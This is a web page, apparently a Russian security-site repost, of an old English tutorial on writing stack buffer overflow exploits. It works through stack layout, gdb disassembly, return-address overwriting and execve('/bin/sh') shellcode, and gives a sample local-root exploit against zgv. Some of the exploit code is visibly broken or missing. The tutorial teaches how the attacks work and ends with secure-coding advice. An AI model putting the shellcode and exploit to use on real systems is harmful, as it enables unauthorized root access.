Оригинальный DVD-ROM: eXeL@B DVD !

выпущен 2 сентября!

Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь


Слушай, дружище, зачем так мучиться с этим языком С++, ты ведь не Билл Гейтс. Возьми тот же Python и программируй, он кроссплатформенный, под Windows тоже работает. Я сам давно заметил: то что на Си пишешь в страницу кода, на питоне решается в одну-две строки. При том, питон намного проще, я его сам недавно изучил по видеокурсу вот этому. Кстати, автор отлично там объясняет. Буквально день-два и уже будешь писать на нём, чего не скажешь про сложный С++.
       Writing buffer overflow exploits - a tutorial for beginners
     Security papers - members.tripod.com/mixtersecurity/papers.html
 Buffer overflows in user input dependent buffers have become one of
 the biggest security hazards on the internet and to modern computing in
 general. This is because such an error can easily be made at programming
 level, and while invisible for the user who does not understand or cannot
 acquire the source code, many of those errors are easy to exploit. This
 paper makes an attempt to teach the novice - average C programmer how an
 overflow condition can be proven to be exploitable.
 1. Memory
 Note: The way I describe it here, memory for a process is organized on most
       computers, however it depends on the type of processor architecture.
       This example is for x86 and also roughly applies to sparc.
 The principle of exploiting a buffer overflow is to overwrite parts of
 memory which aren't supposed to be overwritten by arbitrary input and
 making the process execute this code. To see how and where an overflow
 takes place, lets take a look at how memory is organized.
 A page is a part of memory that uses its own relative addressing, meaning
 the kernel allocates initial memory for the process, which it can then
 access without having to know where the memory is physically located in
 RAM. The processes memory consists of three sections:
  - code segment, data in this segment are assembler instructions that
    the processor executes. The code execution is non-linear, it can skip
    code, jump, and call functions on certain conditions. Therefore, we
    have a pointer called EIP, or instruction pointer. The address where
    EIP points to always contains the code that will be executed next.
  - data segment, space for variables and dynamic buffers
  - stack segment, which is used to pass data (arguments) to functions
    and as a space for variables of functions. The bottom (start) of the
    stack usually resides at the very end of the virtual memory of a page,
    and grows down. The assembler command PUSHL will add to the top of the
    stack, and POPL will remove one item from the top of the stack and put
    it in a register. For accessing the stack memory directly, there is
    the stack pointer ESP that points at the top (lowest memory address)
    of the stack.
 2. Functions
 A function is a piece of code in the code segment, that is called,
 performs a task, and then returns to the previous thread of execution.
 Optionally, arguments can be passed to a function. In assembler, it
 usually looks like this (very simple example, just to get the idea):
 memory address          code
 0x8054321 <main+x>      pushl $0x0
 0x8054322               call $0x80543a0 <function>
 0x8054327               ret
 0x8054328               leave
 0x80543a0 <function>    popl %eax
 0x80543a1               addl $0x1337,%eax
 0x80543a4               ret
 What happens here? The main function calls function(0);
 The variable is 0, main pushes it onto the stack, and calls the
 function. The function gets the variable from the stack using popl.
 After finishing, it returns to 0x8054327. Commonly, the main function
 would always push register EBP on the stack, which the function stores,
 and restores after finishing. This is the frame pointer concept, that
 allows the function to use own offsets for addressing, which is mostly
 uninteresting while dealing with exploits, because the function will not
 return to the original execution thread anyways. :-)
 We just have to know what the stack looks like. At the top, we have the
 internal buffers and variables of the function. After this, there is the
 saved EBP register (32 bit, which is 4 bytes), and then the return address,
 which is again 4 bytes. Further down, there are the arguments passed to
 the function, which are uninteresting to us.
 In this case, our return address is 0x8054327. It is automatically stored
 on the stack when the function is called. This return address can be
 overwritten, and changed to point to any point in memory, if there is an
 overflow somewhere in the code.
 3. Example of an exploitable program
 Lets assume that we exploit a function like this:
 void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
 main() { lame (); return 0; }
 Compile and disassemble it:
 # cc -ggdb blah.c -o blah
 /tmp/cca017401.o: In function `lame':
 /root/blah.c:1: the `gets' function is dangerous and should not be used.
 # gdb blah
 /* short explanation: gdb, the GNU debugger is used here to read the
    binary file and disassemble it (translate bytes to assembler code) */
 (gdb) disas main
 Dump of assembler code for function main:
 0x80484c8 <main>:       pushl  %ebp
 0x80484c9 <main+1>:     movl   %esp,%ebp
 0x80484cb <main+3>:     call   0x80484a0 <lame>
 0x80484d0 <main+8>:     leave
 0x80484d1 <main+9>:     ret
 (gdb) disas lame
 Dump of assembler code for function lame:
 /* saving the frame pointer onto the stack right before the ret address */
 0x80484a0 <lame>:       pushl  %ebp
 0x80484a1 <lame+1>:     movl   %esp,%ebp
 /* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the
    memory is allocated 4byte-wise (because the processor uses 32bit words)
    this is the equivalent to: char small[30]; */
 0x80484a3 <lame+3>:     subl   $0x20,%esp
 /* load a pointer to small[30] (the space on the stack, which is located
    at virtual address 0xffffffe0(%ebp)) on the stack, and call
    the gets function: gets(small); */
 0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax
 0x80484a9 <lame+9>:     pushl  %eax
 0x80484aa <lame+10>:    call   0x80483ec <gets>
 0x80484af <lame+15>:    addl   $0x4,%esp
 /* load the address of small and the address of "%s\n" string on stack
    and call the print function: printf("%s\n", small); */
 0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax
 0x80484b5 <lame+21>:    pushl  %eax
 0x80484b6 <lame+22>:    pushl  $0x804852c
 0x80484bb <lame+27>:    call   0x80483dc <printf>
 0x80484c0 <lame+32>:    addl   $0x8,%esp
 /* get the return address, 0x80484d0, from stack and return to that address.
    you don't see that explicitly here because it is done by the CPU as 'ret' */
 0x80484c3 <lame+35>:    leave
 0x80484c4 <lame+36>:    ret
 End of assembler dump.
 3a. Overflowing the program
 # ./blah
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  <- user input
 # ./blah
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
 Segmentation fault (core dumped)
 # gdb blah core
 (gdb) info registers
      eax:       0x24          36
      ecx:  0x804852f   134513967
      edx:        0x1           1
      ebx:   0x11a3c8     1156040
      esp: 0xbffffdb8 -1073742408
      ebp:   0x787878     7895160
 EBP is 0x787878, this means that we have written more data on the
 stack than the input buffer could handle. 0x78 is the hex representation
 of 'x'. The process had a buffer of 32 bytes maximum size. We have written
 more data into memory than allocated for user input and therefore overwritten
 EBP and the return address with 'xxxx', and the process tried to resume
 execution at address 0x787878, which caused it to get a segmentation fault.
 3b. Changing the return address
 Lets try to exploit the program to return to lame() instead of return.
 We have to change return address 0x80484d0 to 0x80484cb, that is all.
 In memory, we have: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET
 Here is a simple program to put the 4byte return address into a 1byte
 character buffer:
 int i=0; char buf[44];
 for (i=0;i<=40;i+=4)
 *(long *) &buf[i] = 0x80484cb;
 # ret
 # (ret;cat)|./blah
 test             <- user input
 test             <- user input
 Here we are, the program went through the function two times.
 If an overflow is present, the return address of functions can be
 changed to alter the programs execution thread.
 4. Shellcode
 To keep it simple, shellcode is simply assembler commands, which we
 write on the stack and then change the retun address to return to
 the stack. Using this method, we can insert code into a vulnerable
 process and then execute it right on the stack.
 So, lets generate insertable assembler code to run a shell. A common
 system call is execve(), which loads and runs any binary, terminating
 execution of the current process. The manpage gives us the usage:
 int  execve  (const  char  *filename, char *const argv [], char *const envp[]);
 Lets get the details of the system call from glibc2:
 # gdb /lib/libc.so.6
 (gdb) disas execve
 Dump of assembler code for function execve:
 0x5da00 <execve>:       pushl  %ebx
 /* this is the actual syscall. before a program would call execve, it would
   push the arguments in reverse order on the stack: **envp, **argv, *filename */
 /* put address of **envp into edx register */
 0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
 /* put address of **argv into ecx register */
 0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
 /* put address of *filename into ebx register */
 0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
 /* put 0xb in eax register; 0xb == execve in the internal system call table */
 0x5da0d <execve+13>:    movl   $0xb,%eax
 /* give control to kernel, to execute execve instruction */
 0x5da12 <execve+18>:    int    $0x80
 0x5da14 <execve+20>:    popl   %ebx
 0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
 0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
 0x5da1c <execve+28>:    ret
 End of assembler dump.
 4a. making the code portable
 We have to apply a trick to be able to make shellcode without having
 to reference the arguments in memory the conventional way, by giving
 their exact address on the memory page, which can only be done at
 compile time.
 Once we can estimate the size of the shellcode, we can use the
 instructions jmp <bytes> and call <bytes> to go a specified number of
 bytes back or forth in the execution thread. Why use a call? We have
 the opportunity that a CALL will automatically store the return address
 on the stack, the return address being the next 4 bytes after the
 CALL instruction. By placing a variable right behind the call, we
 indirectly push its address on the stack without having to know it.
 0   jmp <Z>     (skip Z bytes forward)
 2   popl %esi
 ... put function(s) here ...
 Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
 Z+5 .string     (first variable)
 (Note: If you're going to write code more complex than for spawning a
 simple shell, you can put more than one .string behind the code. You know
 the size of those strings and can therefore calculate their relative
 locations once you know where the first string is located.)
 4b. the shellcode
 global code_start               /* we'll need this later, dont mind it */
 global code_end
         jmp  0x17
         popl %esi
         movl %esi,0x8(%esi)     /* put address of **argv behind shellcode,
                                    0x8 bytes behind it so a /bin/sh has place */
         xorl %eax,%eax          /* put 0 in %eax */
         movb %eax,0x7(%esi)     /* put terminating 0 after /bin/sh string */
         movl %eax,0xc(%esi)     /* another 0 to get the size of a long word */
         movb $0xb,%al           /* execve(         */
         movl %esi,%ebx          /* "/bin/sh",      */
         leal 0x8(%esi),%ecx     /* & of "/bin/sh", */
         xorl %edx,%edx          /* NULL            */
         int $0x80               /* );              */
         call -0x1c
         .string "/bin/shX"      /* X is overwritten by movb %eax,0x7(%esi) */
 (The relative offsets 0x17 and -0x1c can be gained by putting in 0x0,
 compiling, disassembling and then looking at the shell codes size.)
 This is already working shellcode, though very minimal. You should at
 least disassemble the exit() syscall and attach it (before the 'call').
 The real art of making shellcode also consists of avoiding any binary
 zeroes in the code (indicates end of input/buffer very often) and modify
 it for example, so the binary code does not contain control or lower
 characters, which would get filtered out by some vulnerable programs.
 Most of this stuff is done by self-modifying code, like we had in the
 movb %eax,0x7(%esi) instruction. We replaced the X with \0, but without
 having a \0 in the shellcode initially...
 Lets test this code... save the above code as code.S (remove comments)
 and the following file as code.c:
 extern void code_start();
 extern void code_end();
 #include <stdio.h>
 main() { ((void (*)(void)) code_start)(); }
 # cc -o code code.S code.c
 # ./code
 You can now convert the shellcode to a hex char buffer.
 Best way to do this is, print it out:
 #include <stdio.h>
 extern void code_start(); extern void code_end();
 main() { fprintf(stderr,"%s",code_start); }
 and parse it through aconv -h or bin2c.pl, those tools can be found at:
 http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity
 5. Writing an exploit
 Let us take a look at how to change the return address to point
 to shellcode put on the stack, and write a sample exploit.
 We will take zgv, because that is one of the easiest things
 to exploit out there :)
 # export HOME=`perl -e 'printf "a" x 2000'`
 # zgv
 Segmentation fault (core dumped)
 # gdb /usr/bin/zgv core
 #0  0x61616161 in ?? ()
 (gdb) info register esp
      esp: 0xbffff574 -1073744524
 Well, this is the top of the stack at crash time. It is safe to
 presume that we can use this as return address to our shellcode.
 We will now add some NOP (no operation) instructions before our buffer,
 so we don't have to be 100% correct regarding the prediction of the
 exact start of our shellcode in memory (or even brute forcing it).
 The function will return onto the stack somewhere before our shellcode,
 work its way through the NOPs to the inital JMP command, jump to the
 CALL, jump back to the popl, and run our code on the stack.
 Remember, the stack looks like this: at the lowest memory address, the
 top of the stack where ESP points to, the initial variables are stored,
 namely the buffer in zgv that stores the HOME environment variable.
 After that, we have the saved EBP(4bytes) and the return address of the
 previous function. We must write 8 bytes or more behind the buffer to
 overwrite the return address with our new address on the stack.
 The buffer in zgv is 1024 bytes big. You can find that out by glancing
 at the code, or by searching for the initial subl $0x400,%esp (=1024)
 in the vulnerable function. We will now put all those parts together
 in the exploit:
 5a. Sample zgv exploit
 /*                   zgv v3.0 exploit by Mixter
           buffer overflow tutorial - http://1337.tsx.org
         sample exploit, works for example with precompiled
     redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */
 #include <stdio.h>
 #include <unistd.h>
 #include <stdlib.h>
 /* This is the minimal shellcode from the tutorial */
 static char shellcode[]=
 #define NOP     0x90
 #define LEN     1032
 #define RET     0xbffff574
 int main()
 char buffer[LEN];
 long retaddr = RET;
 int i;
 fprintf(stderr,"using address 0x%lx\n",retaddr);
 /* this fills the whole buffer with the return address, see 3b) */
 for (i=0;i<LEN;i+=4)
    *(long *)&buffer[i] = retaddr;
 /* this fills the initial buffer with NOP's, 100 chars less than the
    buffer size, so the shellcode and return address fits in comfortably */
 for (i=0;i<(LEN-strlen(shellcode)-100);i++)
    *(buffer+i) = NOP;
 /* after the end of the NOPs, we copy in the execve() shellcode */
 /* export the variable, run zgv */
 setenv("HOME", buffer, 1);
 return 0;
 /* EOF */
 We now have a string looking like this:
 While zgv's stack looks like this:
 v-- 0xbffff574 is here
 [     S   M   A   L   L   B   U   F   F   E   R   ] [SAVED EBP] [ORIGINAL RET]
 The execution thread of zgv is now as follows:
 main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
 At this point, zgv fails to do bounds checking, writes beyond smallbuffer,
 and the return address to main is overwritten with the return address on
 the stack. function() does leave/ret and the EIP points onto the stack:
 0xbffff574 nop
 0xbffff575 nop
 0xbffff576 nop
 0xbffff577 jmp $0x24                    1
 0xbffff579 popl %esi          3 <--\    |
 [... shellcode starts here ...]    |    |
 0xbffff59b call -$0x1c             2 <--/
 0xbffff59e .string "/bin/shX"
 Lets test the exploit...
 # cc -o zgx zgx.c
 # ./zgx
 using address 0xbffff574
 5b. further tips on writing exploits
 There are a lot of programs which are tough to exploit, but
 nonetheless vulnerable. However, there are a lot of tricks you can
 do to get behind filtering and such. There are also other overflow
 techniques which do not necessarily include changing the return address
 at all or only the return address. There are so-called pointer overflows,
 where a pointer that a function allocates can be overwritten by an
 overflow, altering the programs execution flow (an example is the RoTShB
 bind 4.9 exploit), and exploits where the return address points to the
 shells environment pointer, where the shellcode is located instead of
 being on the stack (this defeats very small buffers, and Non-executable
 stack patches, and can fool some security programs, though it can only
 be performed locally).
 Another important subject for the skilled shellcode author is radically
 self-modifying code, which initially only consists of printable, non-white
 upper case characters, and then modifies itself to put functional
 shellcode on the stack which it executes, etc.
 You should never, ever have any binary zeroes in your shell code, because
 it will most possibly not work if it contains any. But discussing how to
 sublimate certain assembler commands with others would go beyond the scope
 of this paper. I also suggest reading the other great overflow howto's out
 there, written by aleph1, Taeoh Oh and mudge.
 5c. important note
 You will NOT be able to use this tutorial on Windows or Macintosh. Do
 NOT ask me for cc.exe and gdb.exe either! =oP
 6. Conclusions
 We have learned, that once an overflow is present which is user dependent,
 it can be exploited about 90% of the time, even though exploiting some
 situations is difficult and takes some skill.
 Why is it important to write exploits? Because ignorance is omniscient in
 the software industry. There have already been reports of vulnerabilities
 due to buffer overflows in software, though the software has not been
 updated, or the majority of users didn't update, because the vulnerability
 was hard to exploit and nobody believed it created a security risk. Then,
 an exploit actually comes out, proves and practically enables a program to
 be exploitable, and there is usually a big (neccessary) hurry to update it.
 As for the programmer (you), it is a hard task to write secure programs,
 but it should be taken very serious. This is a specially large concern
 when writing servers, any type of security programs, or programs that
 are suid root, or designed to be run by root, any special accounts, or the
 system itself. Apply bounds checking (strn*, sn*, functions instead of
 sprintf etc.), prefer allocating buffers of a dynamic, input-dependent,
 size, be careful on for/while/etc. loops that gather data and stuff it
 into a buffer, and generally handle user input with very much care are
 the main principles I suggest.
 There has also been made notable effort of the security industry to
 prevent overflow problems with techniques like non-executable stack,
 suid wrappers, guard programs that check return addresses, bounds checking
 compilers, and so on. You should make use of those techniques where
 possible, but do not fully rely on them. Do not assume to be safe at all
 if you run a vanilla two-year old UNIX distribution without updates, but
 overflow protection or (even more stupid) firewalling/IDS. It cannot
 assure security, if you continue to use insecure programs because _all_
 security programs are _software_ and can contain vulnerabilities themselves,
 or at least not be perfect. If you apply frequent updates _and_ security
 measures, you can still not expect to be secure, _but_ you can hope. :-)
 Mixter <mixter@newyorkoffice.com>



Материалы находятся на сайте https://exelab.ru/pro/

Оригинальный DVD-ROM: eXeL@B DVD !

Вы находитесь на EXELAB.rU
Проект ReactOS